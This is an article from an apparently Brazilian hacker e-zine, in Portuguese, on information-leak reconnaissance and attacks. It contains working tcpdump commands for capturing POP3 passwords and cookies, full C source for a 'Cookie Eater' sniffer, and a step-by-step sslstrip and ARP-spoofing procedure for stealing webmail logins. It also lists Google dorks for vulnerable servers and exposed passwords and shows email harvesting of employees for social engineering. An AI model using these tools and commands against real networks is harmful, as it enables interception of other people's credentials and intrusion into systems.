ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Cogumelo Binário/edição 1/InfoLeak1
            ____
        _.-'111 `"`--._
    ,00010.  .01011,   ''-..
  ,10101010  `111000. _ ____ ;
 /_..__..-------- '''    __.'                                                          /
 `-._       /""| _..-'''     ___  __   __             ___       __      __  .       __'  ___ .  __
     "`-----\  `\           |    |  | | __ |  | |\/| |___ |    |  |    |__] | |\ | |__| |__/ | |  |
             |   ;.-""--..  |___ |__| |__] |__| |  | |___ |___ |__|    |__] | | \| |  | |  \ | |__|
             | ,10.  101. `.========================================--==============================
             `;1010  `0110  :                       1º Edição
       .1""-.|`-._          ;
      010 _.-|    +---+----'
      `--'\` |    /  /                        ...:::binariae:fungus:::...
 ~~~~~~~~~| /    |  |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
          \|    /   |
           `----`---'

Language:Portuguese
Autor:Antonio Costa "Cooler_"
Contato:c00f3r[at]gmail[dot]com
Data: 01/10/11
 ___        _____         ____                  __
|   | _____/ ____\____   |    |    ____ _____  |  | __  ______
|   |/    \   __\/  _ \  |    |  _/ __ \\__  \ |  |/ / /  ___/
|   |   |  \  | (  |_| ) |    |__\  ___/_/ __ \|    (  \___  \
|___|___|  /__|  \____/  |_______ \___  |____  /__|_ \/____  /
         \/                      \/   \/     \/     \/     \/

-Índice
========
+-----------------------------------------------------+
| 0x01- Footprint e Fingerprint                       |
| 0x02- Ataque man-in-the-middle                      |
| 0x03- Rastreamento de Cache no DNS                  |
| 0x04- Só um DNS mesmo ?                             |
| 0x05- O todo poderoso Google                        |
| 0x06- Como conseguiu esse Documento ?               |
| 0x07- Cocktail de E-mails                           |
| 0x08- E-mails e o "The Social-Engineer Toolkit"     |
| 0x09- Introdução a Automação no Google Hacking      |
| 0x0a- Agradecimentos                                |
+-----------------------------------------------------+
 Dica:De um find no número que você quer para ir direto em um tópico exemplo "0x09"

-Introdução
============
      ,-~-,       ,-~~~~-,    /\__/\
(\   / ,-, \    ,'        '. /  ^ ^ \
 \'-' /   \ \  /     _     )/  <0 0> \
  '--'     \ \/    .' '.    \ =  Y  =/
            \     / \   \    )-..!.-'
             \   \ \ \   `\ \\
              )  / / /     \ \\        |~~~~~~~~|
             /  / / /__     \ \\__     | Google |
            (____)))_)))     \__)))    |________\~~~~~~01010110

  Neste paper vamos abordar um pouco sobre "Info Leak" ou seja
 vazamento de informações , embora seja um assunto bem falado
 concluí que seria um assunto fascinante para iniciar  no meu
 primeiro paper para a e-zine , neste ano 2011, ocorreu muitas
 noticías intrigantes entorno do wikileaks , estes acontecimentos
 colaboraram na minha escolha , entretanto estou colocando alguns
 pontos empíricos para ilustrar. irei mostrar algumas práticas
 comuns de footprint,fingerprint e diversas formas de pegar
 informações bem como usar o google,bing seja para fazer download
 de documentos como currículos ou buscar e-mails,servidores
 vulneráveis etc...

 Leitores , obrigado pela presença!
 Obrigado por acreditar!
 Se poder nos ajude...

 "Um sonho sonhado sozinho é um sonho. Um sonho sonhado junto é realidade."
                                                                   Por Raul Seixas

-0x01 Footprint e fingerprint
===============================

-Footprint

   Footprint ou "pegada" uma analogia a técnica forense de seguir
  pegadas , é a técnica usada para se obter informações sobre um host
  como nome dos domínios , responsáveis pelos domínios , topologia da rede,
  tipos de serviços que estão rodando no host , e-mail de funcionários,
  informações que podem ser útil em um ataque.

  *usando "whois"
  -Como exemplo como levantar informações de um domínio usamos "whois"
    whois alvo.com
   -só por curiosidade caso você goste de programar e queira
    entender a fundo um whois
    http://bugsec.googlecode.com/files/whois.c

  *usando "host"
   -Consultando base DNS:
     host -l -v -t any alvo.com
   -procurando servidor de em ail:
     host -t mx alvo.com
   -Descobrindo os IPs de servidores DNS:
     host -t ns alvo.com
   -olhando o CNAME
     host -t CNAME alvo.com

  *usando "dig"
   -informações do registro MX:
     dig -t mx <empresa>.com.br
   -informações sobre o registro SOA:
     dig -t soa <empresa>.com.br

  *usando nslookup
   -consultar cname
   nslookup Set type=cname alvo.com

  *usando traceroute para ajudar na topologia da rede,
   saber se tem roteadores,gateways etc...
    traceroute -p22 192.168.0.134
   *ferramenta que pode ajudar é o "cheops-ng"
    se você estiver dentro da rede.

  *usando netcat para ver banner de um serviço TCP
    nc alvo.com 21
    -pelo banner você pode ver versão do software que está rodando e
     assim procurar um exploit para o mesmo

  *usando nmap para ver o banner também
    nmap -sV alvo.com -p 21

   Caso queira usar algum script do nmap
     "http://nmap.org/nsedoc/scripts/banner.html".
   Lembrando que se for usar bits de controle como fin, syn precisará
   estar como root já que para o mesmo precisa usar raw sockets.

   Observação quanto aos banners , alguns sysadmins mudam banner botando
   uma versão diferente da real , ou mesmo usam um honeypot para fazer
   tal feito...

   No decorrer deste "paper" vamos ilustrar alguns ataques diferentes
   não sitados como footprint mas estão no mesmo rótulo como "Rastreamento
   de Cache no DNS".

-FingerPrint

   Logo de cara você já deve ter pensado que estes ataques tem uma
  analogia a biometria , bom é apenas uma analogia para dizer que cada
  sistema operacional tem sua marca. vamos ilustrar isso repare que o
  nmap vai pedir para usar root já que o mesmo vai usar raw sockets.

  Ferramenta mais popular para tal é o nmap , um scaner de portas usados
  por sysadmin,hackers(whitehats,blackhats...) entre outros para descobrir
  serviços que estão abertos info do "OS"

  Exemplo simples com nmap;

  nmap -O host
        |_ argv para saber versão do OS

   nmap -vv -sS -P0 -O localhost
     sS = usando SYN um bit de controle responsável por sincronismo
     vv = scan mostrando verbose detalhada
     P0 = sem ping
  para ver mais argumentos com nmap ,"nmap --h"

  pode-se usar spoofing também...
  #nmap -sF -vv -PN -g 53 -n -T 5 -A -D micosoft.com ip_vitima -p portas

    Para evitar isso alguns sistemas operacionais como exemplo o OpenBSD
  tem uma função no PF(packet filter) para camuflar os Sistemas operacionais
  em ataques fingerprint semelhante a honeypot no arquivo "/etc/pf.os",

 -http://openbsd.org/faq/pf/filter.html#osfp

    Antigamente no meu "OpenBSD 4.3" eu adicionava no pf.conf
  seguintes regras

  set fingerprints "/etc/pf.os"
  block drop in quick on eth0 from any os { NMAP }

    Então quando o atacante mandava fingerprint achava que estava
  rodando no host do alvo um CISCO,HP-UX algum host do arquivo "pf.os".
  Bom para ludibriar mas alguns ataques otimizados com FIN , SYN com
  tempo diferente do default do "nmap" pode mudar os resultados podendo
  ai chegar no resultado do tipo de OS.

  Só umas palavrinhas quanto ao PF , meio que utópico mas vou falar ,
  andam por ai dizendo que o PF não segura rojão e  como gateway
  deixa na mão é lento etc... , Bom você usa "scrub all" , "antispoof"
  claro que vai ficar lento ele normaliza e analisa tudo o que passa
  por ele... se quer desempenho use só o "block all" depois vá dando
  "pass".

  Voltando ao tópico caso queira tentar fazer seu port Scan sugiro
  que veja minha ferramenta o "hyde" está certo que só manda send()
  com raw mas pode ser útil para estudo
  https://github.com/CoolerVoid/C/blob/master/hyde3.c

  última dica do tópico o paper "The Art of Port Scanning" do fyodor
   http://www.phrack.org/issues.html?issue=51&id=11#article

  lembrando que o nmap anda sendo muito usado em conjunto com metasploit
  vide o "fast track" do secmaniac "www.secmaniac.com"

 *ferramentas que você deve conhecer
  http://lcamtuf.coredump.cx/soft/p0f.tgz
  http://lcamtuf.coredump.cx/soft/fl0p-devel.tgz
  http://lcamtuf.coredump.cx/soft/0trace.tgz

 Referência:
 http://insecure.org
 http://www.openbsd.org

-0x02 Ataque man-in-the-middle
===============================

   Interceptação de dados é uma das técnicas que não poderia faltar
 neste paper , já que o mesmo trata de vazamento de informações.

 *Bom vamos ao básico primeiro

  ferramenta simples e que gosto muito é o "tcpdump", da para fazer o
 mesmo usando outras ferramentas como wireshark , ettercap , dsnif. fica
 a seu gosto.

 http://www.tcpdump.org/

 Exemplo:

---------------------------------

 $ tcpdump -i eth0 -n tcp port 110 -A
 *assim podemos pegar senhas do POP3

 $ tcpdump -i eth0 -n tcp port 80 -A | grep Cookie
 *assim temos uma visão dos Cookies que passam no protocolo HTTP

 $ man tcpdump

 #milhares de outros tipos de ataques...
---------------------------------

  Obter acesso remoto a um server, deixar
 além de um backdoor um snifer para minar senhas
 e tudo mais. por exemplo...

 *Otimizando o Ataque
 ------------------------

    Vou passar um exemplo , lembrando que com coisas simples são a raiz
  para resolver problemas complicados , Baseado nos exemplos da "libpcap"
  se fosse fazer usando "raw sock" iria dar um trabalho maior e não seria
  portável e poderia tirar o foco aqui.

  Continuando a ideia do roubo de Cookies do exemplo anterior

---------------------------------
/*
Simple Cookie Eater v0.1
*what is this ?
-so this is Simple Cookie stealer
-Just Another Snifer to find cookies

*follow my example to run:
  root# gcc -o code code.c -lpcap; ./code eth0 1000 log.txt
 the 1000 is number of packets to carry

 is held by GPL
 Based on tcpdump examples

Author: Cooler_
E-mail: c00f3r[at]gmail[dot]com
date: 02/08/2011
BugSec Security TEAM
http://code.google.com/p/bugsec/
thanks: m0nad,_mlk_,IAK,sigsegv,delfo,c0lt7r,joey,fokerbug,
zepplin,otacon,backbone,nibbles,voidpointer,muzgo,memset,novato_br
*/
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Colors Macros
#define WHITE1 ""
#define GRAY ""
#define RED ""
#define GREEN ""
#define BLUE ""

/* default snap length (maximum bytes per packet to capture) */
#define SNAP_LEN 1518

/* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14

/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN	6

/* Ethernet header */
struct sniff_ethernet {
 u_char  ether_dhost[ETHER_ADDR_LEN];    /* destination host address */
 u_char  ether_shost[ETHER_ADDR_LEN];    /* source host address */
 u_short ether_type;                     /* IP? ARP? RARP? etc */
};

// baseado no exemplo de snifer da libpcap
/* IP header */
struct sniff_ip {
 u_char  ip_vhl;                 /* version << 4 | header length >> 2 */
 u_char  ip_tos;                 /* type of service */
 u_short ip_len;                 /* total length */
 u_short ip_id;                  /* identification */
 u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000            /* reserved fragment flag */
#define IP_DF 0x4000            /* dont fragment flag */
#define IP_MF 0x2000            /* more fragments flag */
#define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
 u_char  ip_ttl;                 /* time to live */
 u_char  ip_p;                   /* protocol */
 u_short ip_sum;                 /* checksum */
 struct  in_addr ip_src,ip_dst;  /* source and dest address */
};
#define IP_HL(ip)               (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)                (((ip)->ip_vhl) >> 4)

/* TCP header */
typedef u_int tcp_seq;

struct sniff_tcp {
  u_short th_sport;               /* source port */
  u_short th_dport;               /* destination port */
  tcp_seq th_seq;                 /* sequence number */
  tcp_seq th_ack;                 /* acknowledgement number */
  u_char  th_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)
  u_char  th_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
  u_short th_win;                 /* window */
  u_short th_sum;                 /* checksum */
  u_short th_urp;                 /* urgent pointer */
};

static char *FileName;

void
Logo()
{
 int c=0;
 char *banner[] = {
  "(COOKIE)",
  "w  c(..)o  (",
  " \\__(-)   )",
  "     /\\  (  ",
  "    / ()__) ",
  "   w  /|",
  "     | \\",
  "     m  m",
  "Cooler's Simple Cookie Eater v0.1",
 };
 while(c^8)
  puts(banner[c]),c++;
}

void
Usage()
{
 puts("Simple Cookie Eater v0.1\n follow the example");
 puts("./code eth0 Number_of_packets2get log.txt");
}

void
WriteFile(char *file,char *str)
{
 FILE *arq;

 arq=fopen(file,"a");
  if(!arq)
   puts("error to write log file");
 fprintf(arq,"%s\n",str);
 fclose(arq);
}

void
TookPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
 static int count = 1;
 const struct sniff_ethernet *ethernet;
 const struct sniff_ip *ip;
 const struct sniff_tcp *tcp;
 const char *payload;
 char *FileWord;
 int size_ip,size_tcp,size_payload;

 fprintf(stdout,"\nPacket number %d:\n", count);
 count++;

 ethernet=(struct sniff_ethernet*)(packet);
 ip=(struct sniff_ip*)(packet + SIZE_ETHERNET);
 size_ip=IP_HL(ip)*4;
 if(size_ip<20)
 {
  fprintf(stdout,"* Invalid IP header length: %u bytes\n", size_ip);
  return;
 }

 fprintf(stdout,"From: %s\n", inet_ntoa(ip->ip_src));
 fprintf(stdout,"To: %s\n", inet_ntoa(ip->ip_dst));

 switch(ip->ip_p)
 {
  case IPPROTO_TCP:
   puts("Protocol: TCP\n");
   break;
  case IPPROTO_IP:
   puts("Protocol: IP\n");
   return;
  default:
   puts("Protocol: unknown\n");
   return;
 }

 tcp=(struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
 size_tcp=TH_OFF(tcp)*4;

 if(size_tcp < 10)
 {
  fprintf(stdout,"* Invalid TCP header length: %u bytes\n", size_tcp);
  return;
 }

 fprintf(stdout,"Src port: %d\n", ntohs(tcp->th_sport));
 fprintf(stdout,"Dst port: %d\n", ntohs(tcp->th_dport));

 payload=(char *)(packet+SIZE_ETHERNET+size_ip+size_tcp);
 size_payload=ntohs(ip->ip_len)-(size_ip+size_tcp);

 FileWord=malloc(sizeof(char *)*size_payload);

 if(size_payload!=0)
 {
  fprintf(stdout,"   Payload (%d bytes):\n", size_payload);
  fprintf(stdout,"Look Payload:\n%s\n",payload);
// esta parte é bom customizar ao seu gosto :-)
// aqui nosso filtro , se no ascii tem "Cookie" então pegamos :-)
  if(strstr(payload,"Cookie:"))
  {
   fprintf(stdout,"\n%s cookies:is:here %s \n",RED,WHITE1);
   snprintf(FileWord,sizeof(FileWord),"From: %s\nCookie: %s\n\n",inet_ntoa(ip->ip_src),payload);
   WriteFile(FileName,FileWord);
  }
 }
 free(FileWord);
}

int main(int argc, char **argv)
{
 char *dev = NULL;
 char errbuf[PCAP_ERRBUF_SIZE];
 char filter_exp[] = "ip";

 pcap_t *handle;
 struct bpf_program fp;
 bpf_u_int32 mask;
 bpf_u_int32 net;

 int num_packets = 0;

 Logo();

 if(argc==4)
 {
  dev=argv[1];
  num_packets=atoi(argv[2]);
  FileName=argv[3];
 }
 else if(argc > 3)
 {
  fprintf(stderr, "error: unrecognized command-line options\n\n");
  Usage();
  exit(EXIT_FAILURE);
 }
 else {
  dev=pcap_lookupdev(errbuf);
  if(dev == NULL)
  {
   fprintf(stderr, "Couldn't find default device: %s\n",
   errbuf);
   exit(EXIT_FAILURE);
  }
 }

 if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1)
 {
  fprintf(stderr, "Couldn't get netmask for device %s: %s\n",dev, errbuf);
  net=0;
  mask=0;
 }

 fprintf(stdout,"Device: %s\n", dev);
 fprintf(stdout,"Number of packets: %d\n", num_packets);
 fprintf(stdout,"Filter expression: %s\n", filter_exp);

// abrindo dispositivo de captura
 handle=pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);
 if(handle == NULL)
 {
  fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
  exit(EXIT_FAILURE);
 }

 if(pcap_datalink(handle) != DLT_EN10MB)
 {
  fprintf(stderr, "%s is not an Ethernet\n", dev);
  exit(EXIT_FAILURE);
 }

 if(pcap_compile(handle, &fp, filter_exp, 0, net) == -1)
 {
  fprintf(stderr, "Couldn't parse filter %s: %s\n",
  filter_exp, pcap_geterr(handle));
  exit(EXIT_FAILURE);
 }

 if(pcap_setfilter(handle, &fp) == -1)
 {
  fprintf(stderr, "Couldn't install filter %s: %s\n",
  filter_exp, pcap_geterr(handle));
  exit(EXIT_FAILURE);
 }

 pcap_loop(handle, num_packets, TookPacket, NULL);

// free pcap
 pcap_freecode(&fp);
 pcap_close(handle);

 puts("End Look the logs file");
 puts(FileName);

return 0;
}
---------------------------------

    Esse código é simples  baseado nos exemplos da "libpcap",
 parece ser algo bobo , mas imagine as possibilidades usar um exec() ,
 system() em "mail" para enviar os logs para seu e-mail,ou mesmo fazer
 um POST ou GET para mandar informações para um código PHP em um servidor
 Zumbi...

 *E se encontrar SSL ?

  Em 2009 na conferencia Black Hat DC um hacker aka "moxie0" mostrou
 uma técnica de roubar dados de HTTPS redirecionando para HTTP, o programa
 para fazer isso pode ser usado em conjunto com "dsnif" , "ettercap",
 "wireshark". Olhando o "github" do seu projeto "SSLstrip" você pode
 entender os detalhes de desenvolvimento caso saiba python.

   https://github.com/moxie0/sslstrip

  Pessoalmente tinha ouvido falar muito bem do twisted , mas não imaginava
 ser algo tão poderoso,analisando aqui descobri que se pode fazer um http
 proxy server em poucas linhas "http://wiki.python.org/moin/Twisted-Examples".
 Código em "SSLServerConnection.py" da para ver que o autor faz os parsers
 todos manualmente usando regex , deixando no ar a dúvida se python não tem
 módulo que faça isso.

 Exemplo de uso:

 -instalando requesitos;
   apt-get install python python-twisted-web dsniff ettercap

 -baixe o programa
   https://github.com/moxie0/sslstrip
 -instale
   sudo python ./setup.py install

 -ative modo de redirecionamento
   echo "1" > /proc/sys/net/ipv4/ip_forward

 -redirecione porta 80 para uma porta qualquer
   iptables -t nat -A PREROUTING -p tcp --destination-port 80
    -j REDIRECT --to-port 1337

 -usamos sslstrip na porta que foi redirecionada
   sslstrip.py -l 1337

 -fazemos ataque arp spoofing
   arpspoof -i eth0 -t IpAlvo GatewayDoIP
 *caso quer saber o seu gateway
  " ip route show | grep default | awk '{ print $3}' "
 *caso queira saber os IPs dos PCs que tem na rede use o "cheops-ng"
   ou faça uma varredura
  com nmap...
 *O que é ARP Spoofing ?
  ARP-Poisoning,ArpSpoofing é ataque no qual uma falsa resposta ARP
  é enviada à uma requisição ARP original assim o host alvo manda
  informações para quem enviou a falsa resposta.

 -então ettercap
   sudo ettercap -Tqz

 -agora só esperar senhas de gmail,yahoo etc, no terminal onde foi
  executado o ettercap.

 *para se pensar
  -E se invés de usar ettercap usar nosso "cookie eater" ou algum
   snifer otimizado por você ?
  -E se você quebrar uma WEP e estiver numa rede que não conhece ?
  -E se você deixar sua wifi aberta e snifar quem entrar ?

referências:
 http://www.tcpdump.org/pcap.html
 https://github.com/moxie0/sslstrip

-0x03 Rastreamento de Cache no DNS
======================================

   Com a cache de um DNS podemos saber que DNS a empresa alvo acessa,
 em palavras mais comuns , imagine se o servidor alvo for ponte para uma
 intranet para os funcionarios ter acesso a internet , você vai poder ver
 em que site os funcionarios visitaram , parece ser médiocre mas olhe o
 que você pode saber.

 *Site que a empresa usa para comprar ações
 *De que distribuidores a empresa alvo compra
 *DNS de um UPDATE de algum software
 *Qual site mais visitado por Funcionarios
 *Que Banco é usado pela empresa
 *DNS de algum Gateway de pagamento se usa alguma máquina da Cielo...
 *DNS para POP3 mais usado pela empresa exemplo: gmail,yahoo,hotmail...

 Como o Fazer ?
 ---------------
 vamos usar o comando "dig" para testar o DNS
                                                       /-ataque não recursivo
                                                       |
   $ dig vodkaNostra.com cogumelobinario.hashit.org A +norecurse
               |                   |
              alvo        ver se já visitou esta URL

 Bom analisando o OUT do "dig"

 se encontrar  "ANSWER: 0..." significa que o DNS provavelmente não foi
 visitado pelo alvo

 se encontrar "ANSWER: [0-9]+" significa que alguém já solicitou este
 serviço por la pode ser solicitado a TTL time para saber quando foi
 visitado...

 *norecurse diz que o ataque não vai ser recursivo,se for vai acabar
  deixando rastro não é uma boa ideia...

 Automatizando
 --------------

  Fazer manualmente ir chutando DNS para descobrir é uma tarefa
 chata , Você pode fazer um programa para dar um system() com "dig"
 depois usa strstr() para achar o "ANSWER: 0", usar uma lista de URLs,
 ou mesmo fazer seu próprio dig com socket() conectando na porta 53.
 Daria trabalho mesmo por que já existe a roda , vamos ver um script
 para o nmap.

 http://nmap.org/nsedoc/scripts/dns-cache-snoop.html

 EXEMPLO:
 ----------
 nmap -sU -p 53 --script dns-cache-snoop.nse \
 --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}'\
 vodkaNostra.com

 PORT   STATE SERVICE REASON
 53/udp open  domain  udp-response
 | dns-cache-snoop: 8 of 213 tested domains are cached.
 | www.google.com
 | facebook.com
 | www.youporn.com
 | xvideos.com
 | itau.com.br
 | www.microsoft.com
 | ambev.com.br
 |_www.cielo.com.br

 Dica, no vetor "ALEXA_DOMAINS" bote mais dominios de prefêrencia
 da região do host...

 Outro Script fascinante que pode ajudar:
  http://misc-security.com/blog/2009/10/interrogating-dns-caches-cache-snoop/

-0x04 Só um DNS mesmo ?
========================

   Muitos já chegam focados em um só servidor atacando com autopwn,
 chegam a desistir se não achar nada , mas na verdade á sempre outros
 servidores alternativos não só para WEB mas com  serviços diversos
 como de POP3 , SMTP ou mesmo um FTP"hehe aquele ProFTPd com versão
 deprecated",serviço sempre é colírio para os olhos do atacande pois
 vendo o banner ele pode ter um pseudo  julgamento se a versão está
 desatualizada"cof cof o sysadmin pode alterar o banner", logo procurar
 na Internet um possível exploit para explorar...

 Todo dado obtido é útil e ainda mas um que almenta a tabela de
 probabilidades de sucesso em um ataque, para a descoberta de possíveis
 hosts do alvo podemos usar o "DNS-discovery" ferramenta do meu amigo
 "m0nad". Na minha opinião a melhor ferramenta para tal feito...

  DOWNLOAD em http://code.google.com/p/dns-discovery/
              https://github.com/m0nad/DNS-Discovery/

compilamos:
 $ gcc -o dns-discovery dns-discovery.c -Wall -Wextra -lpthread -O3

 $ ./dns-discovery
   ___  _  ______    ___  _
  / _ \/ |/ / __/___/ _ \(_)__ _______ _  _____ ______ __
 / // /    /\ \/___/ // / (_-</ __/ _ \ |/ / -_) __/ // /
/____/_/|_/___/   /____/_/___/\__/\___/___/\__/_/  \_, /
                                                  /___/
	by m0nad

usage: ./dns-discovery <domain> [options]
options:
	-w <wordlist file> (default : wordlist.wl)
	-t <threads> (default : 1)
	-r <report file>
	-c <csv report file>

executamos:
 $ ./dns-discovery bola8.com.br -w wordlist.wl -t 5 -r log.txt

resultado:
   ___  _  ______    ___  _
  / _ \/ |/ / __/___/ _ \(_)__ _______ _  _____ ______ __
 / // /    /\ \/___/ // / (_-</ __/ _ \ |/ / -_) __/ // /
/____/_/|_/___/   /____/_/___/\__/\___/___/\__/_/  \_, /
                                                  /___/
	by m0nad

DOMAIN: bola8.com.br
THREADS: 5
REPORT: log.txt
WORDLIST: wordlist.wl

mail.bola8.com.br
IPv4 address: 123.123.123.76
IPv4 address: 123.123.123.72

mysql.bola8.com.br
IPv4 address: 123.123.123.1
IPv4 address: 123.123.123.2

smtp.bola8.com.br
IPv4 address: 123.123.123.12
IPv4 address: 123.123.123.11
...

 lógica desse programa gira em torno da função getaddinfo(),meio que
 um Fuzzing de DNS...

 enfim mais alvos para investigar !!!

-0x05 O todo poderoso Google
=============================

  Durante anos Google tem sido uma fonte rica de busca de informação,
 sem ele obviamente você nem estaria aqui , muitos acham que sabem tudo
 do Google , mas não é por ai o caminho o assunto por volta dele é bem
 mais complexo ,  tem um livro Best seller chamado "Google Hacking" do
 Johnny Long que vale ser lido. Bom Google é o pai do "Info Leak" ,
 vamos saber o por que.

 Vamos entendender alguns Operadores mais comuns,para você possa criar
 suas buscas

  site: = restringe a busca num unico dominio
  allinurl: = mostra somente urls que contenham certa palavra
  inurl: = mostra sites que contenha na URL certa palavra
  allintitle: = mostra somente sites com titulo especifico
  intitle: = Procura sites com um titulo especifico
  filetype: = procura urls com um documento especifico
              exemplo "filetype: pdf|chm"

 -Um guia mais completo dos operadores
  http://www.googleguide.com/advanced_operators_reference.html

 *Na prática

 Por exemplo, você quer procurar um servidor de Proxy então procuramos por:
  inurl:"nph-proxy.cgi" "start using cgiproxy"
  resultado de cara um servidor de proxy
  "http://www.stayincognito.com/nph-proxy.cgi"

 Você quer achar musicas do "offspring":
  intitle:"index of" offspring to intitle:"index of" (mp3|mp4|avi) offspring

 Livros em pdf ou chm
  rene+descartes+discurso filetype: pdf|chm

 Cameras ao vivo
  inurl/view/index.shtml
  intitle:":Live View /-Axis" | inurl:view/view.shtml^

 Cameras de Segurança
  inurl:"viewerframe?mode=motion"
  intitle:"Live View / - AXIS"

 * Procurando por algum software vulnerável , as famosas "dork"

 SAP
  inurl:/sap/bc/bsp
  inurl:/irj/portal
  inurl:/scripts/wgate
  inurl:/scripts/wgate/webgui
  inurl:infoviewapp

 Wordpress
  inurl:wp-shopping-cart.php
  inurl:regevent_action=register&event_id
  inurl:a-to-z-category-listing/
  inurl:paid-downloads/download.php?download_key=
  inurl:eventify/php/ajax/fetcheventdetails.php
  inurl:wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php

 Joomla
   Simple File Lister v1.0
   inurl:/component/option,com_jdirectory
   inurl:index.php?option=com_virtuemart
   inurl:com_team
   com_joomnik
   inurl:index.php?option=com_jmsfileseller

 Sistemas com Jboss
  allinurl:HtmlAdaptor MBean
  allinurl:/jmx-console
  allinurl:admin-console/login.seam
  title:JMX Management Console
  title:JBoss AS Admin Console
  title:JBoss AS Administration Console

 Encontrar códigos com falha de disclosure
  site:info filetype:inc~
  site:info filetype:cfg~
  site:info filetype:config~
  site:info filetype:cgi~
  site:info filetype:asp~
  site:info filetype:jsp~
  site:info filetype:rb~
  site:info filetype:py~
  site:info filetype:php~
  filetype:inc intext:mysql_connect
 *códigos em php com a função mysql_connect() geralmente tem login e
  senha do DB pode-se procurar por funções que usam PDO pro exemplo etc...

 Senhas
  http://*:*@
  intitle:"Index of" passwords modified
  allinurl:auth_user_file.txt
  allinurl:pass.txt

 Tem uma infinidade de dicas no site do Johnny Long
 "http://johnny.ihackstuff.com/ghdb/"

-0x06 Como conseguiu esse Documento ?
======================================

   Muitos dos documentos expostos em Hosts não eram para estar
 expostos como currículos de funcionarios , com um currículo de
 um funcionario você pode saber com que a empresa trabalhou por
 exemplo você vê que em 2 currículos de empregados diferentes
 ambos tem LDAP e habilidades com Oracle 10g por ai o atacante
 pode planejar mais coisas. Fora que o atacante pode se passar
 por um funcionario...

 vamos a prática...

 Programa que vamos usar é o Metagoofil
 DOWNLOAD - http://code.google.com/p/metagoofil/

 É feito em Python , a lógica dele é diferente de como sitei de
 pegar todas as URL , o programa usa o Google para fazer busca
 dos documentos no site , exemplo ele da a dork
 "site:empresa.com filetype: pdf"
 logo o google ne retorna os documentos em "pdf" do site então
 o programa da "parser" nas url , solução genial !

Forma de usar é simples:

 $ python ./metagoofil.py -d empresa.com -l 100 -t pdf,doc -o resultado -f resultado.html

Mais info:

 $ python metagoofil.py

 *************************************
 *MetaGooFil Ver. 1.4b 		     *
 *Coded by Christian Martorella      *
 *Edge-Security Research             *
 *cmartorella@edge-security.com      *
 *************************************

 MetaGooFil 1.4

 usage: metagoofil options

	-d: domain to search
 	-f: filetype to download (all,pdf,doc,xls,ppt,odp,ods, etc)
	-l: limit of results to work with (default 100)
	-o: output file, html format.
	-t: target directory to download files.

	Example: metagoofil.py -d microsoft.com -l 20 -f all -o micro.html -t micro-files

----------------------------------
 E se tiver exposto documentos de maior sigilo ?
 Muitos dos documentos do Wikileaks não foi necessário
 nem exploração para obter, pense nisso...

-0x07 Cocktail de E-mails
===========================

   Uma das práticas mais comuns dos "engenheiros sociais" é
 pegar o máximo de e-mails de funcionarios da empresa alvo.Com
 isso eles podem abrir um léque de possíbilidade de ataques
 seja roubo de cookies , controle remoto...

 "O fator humano é o elo mais fraco da segurança"
                                                 -Kevin Mitnick

  Spammers também desfrutam de e-mails mas até ai você
 já sabe,no underground uma lista com 2 mil e-mails varia a
 50 a 100 dollares , isto lista heterogênica de um estado especifico ,
 se for homogênica com e-mail do mundo todo o custo cai e muito ,
 Lista de público especifico sempre tem um preço diferente , questão
 dos e-mails por região conseguem tal feito acessando "google.mx"
 que seria para pegar e-mails do mexico por exemplo , tudo gira no
 "Google Hacking".

  Para entender esse mundo de spammer é bom estudar "BlackHat SEO",
 No IRC server irc.makecash.org no canal #makecash , la você encontrara
 gente que ganha 3mil dollares mês ou mais com adsense ou malware , não
 estou fazendo apologia , só estou mostrando mundos diferentes que giram
 no assunto de e-mail.

 DOWNLOAD:
 https://github.com/laramies/theHarvester

 EXEMPLO:
---------------------------

 $ ./theHavester.py
 bash: ./theHavester.py: No such file or directory
 [cooler@malloc laramies-theHarvester-50be8b8]$ python theHavester.py
 python: can't open file 'theHavester.py': [Errno 2] No such file or directory
 [cooler@malloc laramies-theHarvester-50be8b8]$ python theHarvester.py

 *************************************
 *TheHarvester Ver. 2.0 (reborn)     *
 *Coded by Christian Martorella      *
 *Edge-Security Research             *
 *cmartorella@edge-security.com      *
 *************************************

 Usage: theharvester options

       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for vhosts(basic)
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)
       -f: Save the results into an XML file

 Examples:./theharvester.py -d microsoft.com -l 500 -b google
          ./theharvester.py -d microsoft.com -b pgp
          ./theharvester.py -d microsoft -l 200 -b linkedin

$ python theHarvester.py -d chapolin.com -l 100 -b google

 *************************************
 *TheHarvester Ver. 2.0 (reborn)     *
 *Coded by Christian Martorella      *
 *Edge-Security Research             *
 *cmartorella@edge-security.com      *
 *************************************

[-] Searching in Google:
	Searching 100 results...
	Searching 200 results...

[+] Emails found:
 -------------
 niltonseo@chapolin.com
 jusecretaria@chapolin.com
 rhbetao@chapolin.com
 berica@chapolin.com...

[+] Hosts found
